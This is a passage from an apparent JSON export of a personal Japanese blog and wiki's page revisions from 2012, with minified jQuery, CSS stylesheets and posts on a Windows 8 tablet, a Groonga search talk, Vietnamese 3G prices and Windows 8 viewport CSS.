r=v.css(e,\"position\");r===\"static\"\u0026\u0026(e.style.position=\"relative\");var i=v(e),s=i.offset(),o=v.css(e,\"top\"),u=v.css(e,\"left\"),a=(r===\"absolute\"||r===\"fixed\")\u0026\u0026v.inArray(\"auto\",[o,u])\u003e-1,f={},l={},c,h;a?(l=i.position(),c=l.top,h=l.left):(c=parseFloat(o)||0,h=parseFloat(u)||0),v.isFunction(t)\u0026\u0026(t=t.call(e,n,s)),t.top!=null\u0026\u0026(f.top=t.top-s.top+c),t.left!=null\u0026\u0026(f.left=t.left-s.left+h),\"using\"in t?t.using.call(e,f):i.css(f)}},v.fn.extend({position:function(){if(!this[0])return;var e=this[0],t=this.offsetParent(),n=this.offset(),r=er.test(t[0].nodeName)?{top:0,left:0}:t.offset();return n.top-=parseFloat(v.css(e,\"marginTop\"))||0,n.left-=parseFloat(v.css(e,\"marginLeft\"))||0,r.top+=parseFloat(v.css(t[0],\"borderTopWidth\"))||0,r.left+=parseFloat(v.css(t[0],\"borderLeftWidth\"))||0,{top:n.top-r.top,left:n.left-r.left}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||i.body;while(e\u0026\u0026!er.test(e.nodeName)\u0026\u0026v.css(e,\"position\")===\"static\")e=e.offsetParent;return e||i.body})}}),v.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(e,n){var r=/Y/.test(n);v.fn[e]=function(i){return v.access(this,function(e,i,s){var o=tr(e);if(s===t)return o?n in o?o[n]:o.document.documentElement[i]:e[i];o?o.scrollTo(r?v(o).scrollLeft():s,r?s:v(o).scrollTop()):e[i]=s},e,i,arguments.length,null)}}),v.each({Height:\"height\",Width:\"width\"},function(e,n){v.each({padding:\"inner\"+e,content:n,\"\":\"outer\"+e},function(r,i){v.fn[i]=function(i,s){var o=arguments.length\u0026\u0026(r||typeof i!=\"boolean\"),u=r||(i===!0||s===!0?\"margin\":\"border\");return v.access(this,function(n,r,i){var s;return v.isWindow(n)?n.document.documentElement[\"client\"+e]:n.nodeType===9?(s=n.documentElement,Math.max(n.body[\"scroll\"+e],s[\"scroll\"+e],n.body[\"offset\"+e],s[\"offset\"+e],s[\"client\"+e])):i===t?v.css(n,r,i,u):v.style(n,r,i,u)},n,o?i:t,o,null)}})}),e.jQuery=e.$=v,typeof define==\"function\"\u0026\u0026define.amd\u0026\u0026define.amd.jQuery\u0026\u0026define(\"jquery\",[],function(){return v})})(window);","created_at":"2012-11-22T02:33:12.000Z","updated_at":"2012-11-22T02:33:12.000Z"},{"id":2225,"name":"common.css","body":"raw\r\nmime css\r\nbody{\r\n text-align:center;\r\n }\r\n#all, .all{\r\n max-width:860px;\r\n margin-left:auto;\r\n margin-right:auto;\r\n text-align:left;\r\n}\r\n\r\n#notice{ color:green; }\r\n#error{ color:red; }\r\n.small{ font-size:small;}\r\n\r\nimg{ max-width:100%; }\r\n\r\n.lightgray{color:lightgray}\r\n\r\n.none{display:none}\r\na{color:blue}\r\n.h0{font-size:9em}\r\n.h1{font-size:7em}\r\n.h2{font-size:3em}\r\n.right{float:right}\r\n.left{float:left}\r\n.clear{clear:both}\r\nnick{color:lightpink}\r\n.mine{color:yellow}\r\n.x-small{font-size:x-small}\r\nspan.link{font-size:x-large}","created_at":"2012-11-25T13:45:30.000Z","updated_at":"2012-11-25T13:45:30.000Z"},{"id":2226,"name":"Windows 8 買った","body":"%blog%\r\n\r\n[これ](http://www.acer.co.jp/ac/ja/JP/content/series/iconia-tab-w)買いました。\r\n\r\n![ストラトス・フォー](http://ssig33.com/gyazo/651f127145301b3e2f1874f25123d0c0.png)\r\n\r\nこれ書いてる現在では日本ではまだ出てないです。[このサイト](http://www.adorama.com/ACW51064GDO.html)で買いました。ちゃんと届いたしよかったと思います。\r\n\r\nキーボードとドッキングさせるとこんな感じ\r\n\r\n![キーボード](http://ssig33.com/gyazo/8b30142a3b3469edbe34ecf12f4aa056.png)\r\n\r\n他のマシンとサイズを比較するとこんな感じです(iPad 3 、 ThinkPad T420s 、 ICONIA W510)\r\n\r\n![比較](http://ssig33.com/gyazo/c3fc05e701e30a703438c5f8a21012ea.png)\r\n\r\n結論から言うとまだあんま人に勧められるような状態ではないです。理由はだいたい以下の通り\r\n\r\n- Modern UI 側のアプリケーションがあんまそろってない\r\n- ドライバが異常に不安定\r\n\r\nOS の大規模アップデートではまあよくある話かと思いますが。\r\n\r\nハードウェアはかなりよいです。ベンチ見ても体感の上でも動作感は ThinkPad X300 とかと同じくらいです。 TS を余裕で再生出来ます。そしてめちゃくちゃ軽いです。キーボード外すと iPad よりずっと軽い。\r\n\r\n画面画素数は iPad と比較すると非常に少ないはずなんですがあまり気にならないです。なんで気にならないのか自分でもよく分からない。\r\n\r\nこれからアプリケーションが揃ってくれば「軽い上に簡単に SMB サーバー上の TS を再生出来る上にエロゲが出来る iPad 」として大活躍出来るのではないかと思います。\r\n\r\nそれからこのマシンで Visual Studio が余裕で動くので、アプリケーション無ければ自分で作ればいいじゃない派の人は現状でもかなり楽しめると思います。 iPad もスペック的には十分なんだしはやく XCode 動くようになってほしい。\r\n\r\nWindows RT のへんなもん買うくらいならこれとか [Arrows Tab](http://www.fmworld.net/arrows/tab_wifi/qh/) とか [Thinkpad Tablet 2](http://shopap.lenovo.com/jp/products/tablets/thinkpad2/) とかを買うといいと思います。\r\n\r\n### 苦言\r\nここからが本文。\r\n\r\nWindows 8 がリリースされた時、適当なマシンにインストールしてあまりに使い辛くてびっくりしました。\r\n\r\nところがこのマシンのようなまともなタブレットで使ってみると非常に使いやすいです。 10 インチぐらいの極めて軽量なタブレットで使うことが念頭におかれたインターフェイスなのだということがよく分かりました。\r\n\r\nそういう OS を発売しときながら発売から一ヶ月経ってもまだまともなタブレットが全然店頭に並んでないというのはマーケティング大失敗の事例なのではないかと思います。\r\n\r\n真面目にやれ。","created_at":"2012-11-28T06:20:17.000Z","updated_at":"2012-11-28T06:20:17.000Z"},{"id":2227,"name":"Windows 8 買った","body":"%blog%\r\n\r\n[これ](http://www.acer.co.jp/ac/ja/JP/content/series/iconia-tab-w)買いました。\r\n\r\n![ストラトス・フォー](http://ssig33.com/gyazo/648cbba14b0f5837fa68d9dbd95072b0.png)\r\n\r\nこれ書いてる現在では日本ではまだ出てないです。[このサイト](http://www.adorama.com/ACW51064GDO.html)で買いました。ちゃんと届いたしよかったと思います。\r\n\r\nキーボードとドッキングさせるとこんな感じ\r\n\r\n![キーボード](http://ssig33.com/gyazo/8b30142a3b3469edbe34ecf12f4aa056.png)\r\n\r\n他のマシンとサイズを比較するとこんな感じです(iPad 3 、 ThinkPad T420s 、 ICONIA W510)\r\n\r\n![比較](http://ssig33.com/gyazo/c3fc05e701e30a703438c5f8a21012ea.png)\r\n\r\n結論から言うとまだあんま人に勧められるような状態ではないです。理由はだいたい以下の通り\r\n\r\n- Modern UI 側のアプリケーションがあんまそろってない\r\n- ドライバが異常に不安定\r\n\r\nOS の大規模アップデートではまあよくある話かと思いますが。\r\n\r\nハードウェアはかなりよいです。ベンチ見ても体感の上でも動作感は ThinkPad X300 とかと同じくらいです。 TS を余裕で再生出来ます。そしてめちゃくちゃ軽いです。キーボード外すと iPad よりずっと軽い。\r\n\r\n画面画素数は iPad と比較すると非常に少ないはずなんですがあまり気にならないです。なんで気にならないのか自分でもよく分からない。\r\n\r\nこれからアプリケーションが揃ってくれば「軽い上に簡単に SMB サーバー上の TS を再生出来る上にエロゲが出来る iPad 」として大活躍出来るのではないかと思います。\r\n\r\nそれからこのマシンで Visual Studio が余裕で動くので、アプリケーション無ければ自分で作ればいいじゃない派の人は現状でもかなり楽しめると思います。 iPad もスペック的には十分なんだしはやく XCode 動くようになってほしい。\r\n\r\nWindows RT のへんなもん買うくらいならこれとか [Arrows Tab](http://www.fmworld.net/arrows/tab_wifi/qh/) とか [Thinkpad Tablet 2](http://shopap.lenovo.com/jp/products/tablets/thinkpad2/) とかを買うといいと思います。\r\n\r\n### 苦言\r\nここからが本文。\r\n\r\nWindows 8 がリリースされた時、適当なマシンにインストールしてあまりに使い辛くてびっくりしました。\r\n\r\nところがこのマシンのようなまともなタブレットで使ってみると非常に使いやすいです。 10 インチぐらいの極めて軽量なタブレットで使うことが念頭におかれたインターフェイスなのだということがよく分かりました。\r\n\r\nそういう OS を発売しときながら発売から一ヶ月経ってもまだまともなタブレットが全然店頭に並んでないというのはマーケティング大失敗の事例なのではないかと思います。\r\n\r\n真面目にやれ。","created_at":"2012-11-28T06:20:29.000Z","updated_at":"2012-11-28T06:20:29.000Z"},{"id":2228,"name":"Windows 8 買った","body":"%blog%\r\n\r\n[これ](http://www.acer.co.jp/ac/ja/JP/content/series/iconia-tab-w)買いました。\r\n\r\n![ストラトス・フォー](http://ssig33.com/gyazo/648cbba14b0f5837fa68d9dbd95072b0.png)\r\n\r\nこれ書いてる現在では日本ではまだ出てないです。[このサイト](http://www.adorama.com/ACW51064GDO.html)で買いました。ちゃんと届いたしよかったと思います。\r\n\r\nキーボードとドッキングさせるとこんな感じ\r\n\r\n![キーボード](http://ssig33.com/gyazo/8b30142a3b3469edbe34ecf12f4aa056.png)\r\n\r\n他のマシンとサイズを比較するとこんな感じです(iPad 3 、 ThinkPad T420s 、 ICONIA W510)\r\n\r\n![比較](http://ssig33.com/gyazo/c3fc05e701e30a703438c5f8a21012ea.png)\r\n\r\n結論から言うとまだあんま人に勧められるような状態ではないです。理由はだいたい以下の通り\r\n\r\n- Modern UI 側のアプリケーションがあんまそろってない\r\n- ドライバが異常に不安定\r\n\r\nOS の大規模アップデートではまあよくある話かと思いますが。\r\n\r\nハードウェアはかなりよいです。ベンチ見ても体感の上でも動作感は ThinkPad X300 とかと同じくらいです。 TS を余裕で再生出来ます。そしてめちゃくちゃ軽いです。キーボード外すと iPad よりずっと軽い。\r\n\r\nあとめっちゃ電池もちます。単体で 8-9 時間ぐらい。キーボード側にも電池ついててドッキングしてると 15 時間以上はもつ。\r\n\r\n画面画素数は iPad と比較すると非常に少ないはずなんですがあまり気にならないです。なんで気にならないのか自分でもよく分からない。\r\n\r\nこれからアプリケーションが揃ってくれば「軽い上に簡単に SMB サーバー上の TS を再生出来る上にエロゲが出来る iPad 」として大活躍出来るのではないかと思います。\r\n\r\nそれからこのマシンで Visual Studio が余裕で動くので、アプリケーション無ければ自分で作ればいいじゃない派の人は現状でもかなり楽しめると思います。 iPad もスペック的には十分なんだしはやく XCode 動くようになってほしい。\r\n\r\nWindows RT のへんなもん買うくらいならこれとか [Arrows Tab](http://www.fmworld.net/arrows/tab_wifi/qh/) とか [Thinkpad Tablet 2](http://shopap.lenovo.com/jp/products/tablets/thinkpad2/) とかを買うといいと思います。\r\n\r\n### 苦言\r\nここからが本文。\r\n\r\nWindows 8 がリリースされた時、適当なマシンにインストールしてあまりに使い辛くてびっくりしました。\r\n\r\nところがこのマシンのようなまともなタブレットで使ってみると非常に使いやすいです。 10 インチぐらいの極めて軽量なタブレットで使うことが念頭におかれたインターフェイスなのだということがよく分かりました。\r\n\r\nそういう OS を発売しときながら発売から一ヶ月経ってもまだまともなタブレットが全然店頭に並んでないというのはマーケティング大失敗の事例なのではないかと思います。\r\n\r\n真面目にやれ。","created_at":"2012-11-28T06:36:17.000Z","updated_at":"2012-11-28T06:36:17.000Z"},{"id":2229,"name":"text/Groonga を囲む夕べ 3 で話しました","body":"%blog%\r\n\r\nTwitter の発言をプレゼン資料として使う新しいスタイルを思いついたのでそのようにしました。\r\n\r\nちょこちょこ解説入れながら資料として使った発言をまとめておきます。\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e「アニメを録画した後の話をします」 \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274108188331212801\" data-datetime=\"2012-11-29T11:10:59+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n大量にテレビ番組を録画したあと、効率よく番組のメタデータを検索し番組を視聴するシステムの話をしました。\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e自己紹介: 小さめの会社で Rails でウェブやってます。小さい会社でありがちな通りなんでも屋です。所属は難しい事情でシークレットです。 \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274108318253981696\" data-datetime=\"2012-11-29T11:11:30+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eアニメに関する話をしますがアニメネタ入れないようにするのでそういうの嫌いな人も聞いてくれると嬉しい。技術プレゼンにアニメネタを入れる人間を殺せ \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274108434465566720\" data-datetime=\"2012-11-29T11:11:58+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eとりあえずデモ \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274108458293403649\" data-datetime=\"2012-11-29T11:12:03+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n声優の名前でテレビ番組を検索できる、竹達彩奈の出演作は思ったより多かったなどといったデモを行ないました。\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eこうしたシステムを作って得られた知見としては検索には目的に特化した UI が重要 \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274108533115600896\" data-datetime=\"2012-11-29T11:12:21+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eいまのところ個人向け検索みたいのは文書の検索に特化してしまっている \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274108620973694976\" data-datetime=\"2012-11-29T11:12:42+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eEvernote, Spotlight, Windows の検索(名前よう知らん) and Beagle, etc. \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274108708978573312\" data-datetime=\"2012-11-29T11:13:03+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n文書というのは「テキストファイル、もしくはそれに類するようなテキストが主体のファイル」というのを指します。\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e目的に応じた大量の検索システムが必要。理想としてはユーザー全員がそういうものを作れるようになるといい \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109170356215808\" data-datetime=\"2012-11-29T11:14:53+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e今ここに集まってる人は作れる人だから、日常の小さな悩みを検索して改善しましょう \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109279546523649\" data-datetime=\"2012-11-29T11:15:19+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eこれだけだと検索の精神論みたいな感じなんで Groonga の話もします \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109375533166592\" data-datetime=\"2012-11-29T11:15:42+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eこのシステム、もともと検索がしたくて Groonga を使用したという訳ではないです \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109444189736960\" data-datetime=\"2012-11-29T11:15:58+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e少なくとも Ruby を使っている限り「とりあえず Groonga」という選択肢はかなり有力 \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109516222705666\" data-datetime=\"2012-11-29T11:16:16+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eインプロセス DB として Groonga はかなり有力。大抵の場合において SQLite より強力であると思う。 \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109681276968960\" data-datetime=\"2012-11-29T11:16:55+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e2010 年代の SQLite3 としての Groonga \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109775900442625\" data-datetime=\"2012-11-29T11:17:17+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eファイルに対してインデックスを張るというアイディアから開放される \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109853474119680\" data-datetime=\"2012-11-29T11:17:36+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\nこの話はあとでブログに書く。\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003eありがとうございました(以上資料) \u003ca href=\"https://twitter.com/search/%23groonga\"\u003e#groonga\u003c/a\u003e\u003c/p\u003e\u0026mdash; Yakiniku Sushi Jr. (@ssig33) \u003ca href=\"https://twitter.com/ssig33/status/274109939792900096\" data-datetime=\"2012-11-29T11:17:57+00:00\"\u003eNovember 29, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2012-11-29T12:07:21.000Z","updated_at":"2012-11-29T12:07:21.000Z"},{"id":2230,"name":"text/ベトナムの 3G 事情","body":"%blog%\r\n\r\nいろいろあってちょっとベトナム行ってきました。当地における 3G データ通信のコストは\r\n\r\n- 月 3GB プランなら 800 円ぐらい\r\n- 月 7GB プランなら 1500 円ぐらい\r\n\r\nという感じで、月 2〜4 万というハノイの都市生活者の月収水準を考えると、\r\n\r\n- 日本において月 3GB プランなら 6000 〜 8000 円ぐらい\r\n- 日本において月 7GB プランなら 13000 〜 15000 円ぐらい\r\n\r\nというふうに置き換えられるので。日本人が感じるのと同じような水準で 3G が使えるのだろうと思った。\r\n\r\n使ってたキャリアは Vinaphone で、ハノイからハイフォンまで移動する間ずっと 3G は途切れなかった。速度も極めて快適。\r\n\r\nとはいえハノイ以外の都市の収入はもっと低いのでハノイ人ぐらいしか 3G を使えないのだろうとも思う。","created_at":"2012-12-05T07:59:53.000Z","updated_at":"2012-12-05T07:59:53.000Z"},{"id":2231,"name":"text/ベトナムの 3G 事情","body":"%blog%\r\n\r\nいろいろあってちょっとベトナム行ってきました。当地における 3G データ通信のコストは\r\n\r\n- 月 3GB プランなら 800 円ぐらい\r\n- 月 7GB プランなら 1500 円ぐらい\r\n\r\nという感じで、月 2〜4 万というハノイの都市生活者の月収水準を考えると、\r\n\r\n- 日本において月 3GB プランなら 6000 〜 8000 円ぐらい\r\n- 日本において月 7GB プランなら 13000 〜 15000 円ぐらい\r\n\r\nというふうに置き換えられるので。日本人が感じるのと同じような水準で 3G が使えるのだろうと思った。\r\n\r\n使ってたキャリアは Vinaphone で、ハノイからハイフォンまで移動する間ずっと 3G は途切れなかった。速度も極めて快適。\r\n\r\nとはいえハノイ以外の地域の収入はもっと低いのでハノイ人ぐらいしか 3G を使えないのだろうとも思う。","created_at":"2012-12-05T08:00:43.000Z","updated_at":"2012-12-05T08:00:43.000Z"},{"id":2232,"name":"text/ベトナムの 3G 事情","body":"%blog%\r\n\r\nいろいろあってちょっとベトナム行ってきました。当地における 3G データ通信のコストは\r\n\r\n- 月 3GB プランなら 800 円ぐらい\r\n- 月 7GB プランなら 1500 円ぐらい\r\n\r\nという感じで、月 2〜4 万というハノイの都市生活者の月収水準を考えると、\r\n\r\n- 日本において月 3GB プランなら 6000 〜 8000 円ぐらい\r\n- 日本において月 7GB プランなら 13000 〜 15000 円ぐらい\r\n\r\nというふうに置き換えられる。日本人が感じるのと同じような水準で 3G が使えるのだろうと思った。\r\n\r\n使ってたキャリアは Vinaphone で、ハノイからハイフォンまで移動する間ずっと 3G は途切れなかった。速度も極めて快適。\r\n\r\nとはいえハノイ以外の地域の収入はもっと低いのでハノイ人ぐらいしか 3G を使えないのだろうとも思う。","created_at":"2012-12-05T08:00:51.000Z","updated_at":"2012-12-05T08:00:51.000Z"},{"id":2233,"name":"text/Web サイトの Windows8 対応(CSS編)","body":"%blog%\r\n\r\n前提\r\n\r\n- サイトがシングルカラムでデザインされている\r\n- もしくは画面の横幅によってデザインが変わるみたいなデザイン\r\n\r\nみたいな時の話。簡単なコードを CSS に追記しておくだけで Windows 8 や Windows Phone 8 などでサイトを快適に閲覧出来るようになります。\r\n\r\n以下のような感じ\r\n\r\n``` css\r\n@-ms-viewport{ width: device-width; } /* これは Windows 8 でスナップを使用した時に綺麗に表示するためのもの */\r\n\r\n/* \r\n * 以下は Windows Phone でサイトを快適に表示する為のもの。 iOS とかやりなれてる人は何のコードか分かるかと思います。\r\n * 上から順に\r\n * 1280x720 のデバイスで横持ち時、 800x480 デバイスで横持ち時、 1280x720 デバイスで縦持ち時、 800x480 デバイスで縦持ち時\r\n * にサイトをモバイル向けのサイズで表示する為のものです。\r\n*/\r\n@media screen and (max-width: 1280px){@-ms-viewport { width: 480px !important; }}\r\n@media screen and (max-width: 800px){@-ms-viewport { width: 480px !important; }}\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n```\r\n\r\nこれ以外にも touch イベントを使っている場合は MSPointer イベントに対応するみたいのが必要になります。\r\n\r\nWindows Phone に限った話ではありませんが、単純に画面画素数でアレすると 1280x720 みたいな Windows デバイスに対してモバイルサイトが表示されてしまうみたいなことになるかもしれません。まあ Windows デバイスは最近のものは殆ど横 1368 あるんですが、 iPad などのように画面回転が出来るものがありその場合は横 768 になってしまうという問題があります。\r\n\r\nこれもまた Windows に限った話ではありませんがモバイルデバイスのディスプレイのスペックアップに従って viewport という仕組みにももはや無理が出ているような気がします。 CSS や JS 側からデバイスの液晶の物理的なサイズを取得する API が必要だと思う。\r\n\r\nそんなこんなで [Windows Phone 8S](http://www.htc.com/www/smartphones/htc-wp-8s/) 買いました。結構いいです。感想とかあとで書く。","created_at":"2012-12-09T14:06:47.000Z","updated_at":"2012-12-09T14:06:47.000Z"},{"id":2234,"name":"text/Web サイトの Windows8 対応(CSS編)","body":"%blog%\r\n\r\n前提\r\n\r\n- サイトがシングルカラムでデザインされている\r\n- もしくは画面の横幅によってデザインが変わるみたいなデザイン\r\n\r\nみたいな時の話。簡単なコードを CSS に追記しておくだけで Windows 8 や Windows Phone 8 などでサイトを快適に閲覧出来るようになります。\r\n\r\n以下のような感じ\r\n\r\n``` css\r\n@-ms-viewport{ width: device-width; } /* これは Windows 8 でスナップを使用した時に綺麗に表示するためのもの */\r\n\r\n/* \r\n * 以下は Windows Phone でサイトを快適に表示する為のもの。 iOS とかやりなれてる人は何のコードか分かるかと思います。\r\n * 上から順に\r\n * 1280x720 のデバイスで横持ち時、 800x480 デバイスで横持ち時、 1280x720 デバイスで縦持ち時、 800x480 デバイスで縦持ち時\r\n * にサイトをモバイル向けのサイズで表示する為のものです。\r\n*/\r\n@media screen and (max-width: 1280px){@-ms-viewport { width: 480px !important; }}\r\n@media screen and (max-width: 800px) {@-ms-viewport { width: 480px !important; }}\r\n@media screen and (max-width: 720px) {@-ms-viewport { width: 320px !important; }}\r\n@media screen and (max-width: 480px) {@-ms-viewport { width: 320px !important; }}\r\n```\r\n\r\nこれ以外にも touch イベントを使っている場合は MSPointer イベントに対応するみたいのが必要になります。\r\n\r\nWindows Phone に限った話ではありませんが、単純に画面画素数でアレすると 1280x720 みたいな Windows デバイスに対してモバイルサイトが表示されてしまうみたいなことになるかもしれません。まあ Windows デバイスは最近のものは殆ど横 1368 あるんですが、 iPad などのように画面回転が出来るものがありその場合は横 768 になってしまうという問題があります。\r\n\r\nこれもまた Windows に限った話ではありませんがモバイルデバイスのディスプレイのスペックアップに従って viewport という仕組みにももはや無理が出ているような気がします。 CSS や JS 側からデバイスの液晶の物理的なサイズを取得する API が必要だと思う。\r\n\r\nそんなこんなで [Windows Phone 8S](http://www.htc.com/www/smartphones/htc-wp-8s/) 買いました。結構いいです。感想とかあとで書く。","created_at":"2012-12-09T14:06:55.000Z","updated_at":"2012-12-09T14:06:55.000Z"},{"id":2235,"name":"text/拡散お願いします","body":"%blog%\r\n\r\n# 拡散お願いします\r\n\r\n\u003cblockquote class=\"twitter-tweet\"\u003e\u003cp\u003e\u003ca href=\"http://t.co/UGbHUpvR\" title=\"http://twitter.com/korenikime/status/272009799464542209/photo/1\"\u003etwitter.com/korenikime/sta…\u003c/a\u003e\u003c/p\u003e\u0026mdash; コレニキメ (@korenikime) \u003ca href=\"https://twitter.com/korenikime/status/272009799464542209\" data-datetime=\"2012-11-23T16:12:45+00:00\"\u003eNovember 23, 2012\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\r\n\r\n明日は [@plus7](http://twitter.com/plus7)\r\n\r\n- http://atnd.org/events/34752","created_at":"2012-12-10T04:10:26.000Z","updated_at":"2012-12-10T04:10:26.000Z"},{"id":2236,"name":"common.css","body":"raw\r\nmime css\r\n@-ms-viewport{ width: device-width; }\r\n\r\n@media screen and (max-width: 1280px){@-ms-viewport { width: 480px !important; }}\r\n@media screen and (max-width: 800px) {@-ms-viewport { width: 480px !important; }}\r\n@media screen and 